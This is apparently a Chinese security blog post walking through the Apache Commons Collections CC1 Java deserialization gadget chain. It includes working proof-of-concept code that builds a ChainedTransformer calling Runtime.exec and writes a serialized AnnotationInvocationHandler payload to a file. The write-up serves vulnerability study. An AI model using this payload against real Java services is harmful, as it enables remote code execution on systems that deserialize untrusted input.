Java-Ser-CC1

链条分析

重点关注Transformer类的transform方法,然后在InvokerTransformer类中对其进行了实现,发现里面有反射调用,并且所需的参数全部由用户可控。这个可以当做sink:

看一下谁调用了transform方法,这条链我们重点关注checkSetValue这个点:

找到了在TransformedMap类中,checkSetValue函数调用了valueTransformer的transform方法:

去观察它的构造函数:

//-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

是保护方法,且valueTransformer可控,然后观察到里面有静态方法decorate,可以new一个TransformedMap类出来:


/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
* Constrast this with {@link #decorateTransform}.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no transformation
* @param valueTransformer the transformer to use for value conversion, null means no transformation
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

然后继续跟进,寻找谁调用了checkSetValue方法,发现在AbstractInputCheckedMapDecorator类里面的setValue方法调用了checkSetValue,并且AbstractInputCheckedMapDecorator是TransformedMap的父类:

所以如果我们调用decorate方法,new出来一个TransformedMap对象,并且构造valueTransformer的值,然后在遍历entry时,调用其setValue方法,最终会调用到checkSetValue方法,然后在checkSetValue中调用transform方法,最终执行反射调用。

poc:

public class CC1 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"});
HashMap<Object, Object> map = new HashMap<>();
map.put("1", "2");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, new Transformer() {
@Override
public Object transform(Object input) {
return null;
}
}, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}
}

下面寻找哪个位置调用了setValue方法,然后可以发现AnnotationInvocationHandler这个类中的readObject发生了重写,并且调用了setValue方法,只不过有if条件需要我们进行绕过:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

AnnotationInvocationHandler的构造方法,注意到AnnotationInvocationHandler这个类不是公共类,所有需要反射调用:

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

然后编写命令执行语句,命令执行的反射方法编写(Runtime类无法被序列化):

Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"}).transform(r);

当然,也可以用CC提供的ChainedTransformer,更加方便:

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

然后根据之前提到的AnnotationInvocationHandler的readObject方法,里面是有一些条件判断语句的,我们需要进行bypass,调试可知memberType不能为空,即我们传入的注解类中成员变量的值不能为空。

然后还注意到在readObject里面,setValue值变成了一个AnnotationTypeMismatchExceptionProxy类,这个地方依旧需要bypass:

memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

bypass的思路是,我们调用memberValue的setValue方法,最终会调用到transform方法,在transform方法的实现类中,有一个ConstantTransformer类,无论transform什么类,都会返回iConstant属性:

这样所具备的元素我们就找齐了。

POC编写

序列化:

package CC;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[]{"/Applications/iTerm.app/Contents/MacOS/iTerm2"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "1");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, transformedMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
objectOutputStream.writeObject(o);
}
}
文章作者: Alex
文章链接: http://example.com/2023/07/16/Java-Ser-CC1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~